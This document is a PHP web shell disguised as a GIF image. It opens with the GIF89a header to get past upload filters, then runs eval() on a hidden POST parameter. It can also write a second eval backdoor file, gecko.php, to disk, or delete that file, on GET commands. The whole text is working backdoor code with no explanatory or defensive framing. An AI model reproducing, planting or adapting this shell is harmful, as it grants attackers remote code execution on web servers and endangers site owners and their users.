GIF89a
<?php
$k="qwertyuiop";
if(isset($_POST[$k])){eval($_POST[$k]);}
elseif(isset($_GET["c"])){
 $c=$_GET["c"];
 if($c=="w"&&isset($_GET["p"])){file_put_contents("gecko.php",'<?php eval($_POST["qwertyuiop"]);?>');echo "x";}
 elseif($c=="d"){@unlink("gecko.php");echo "d";}
 else{echo "r";}
}
?>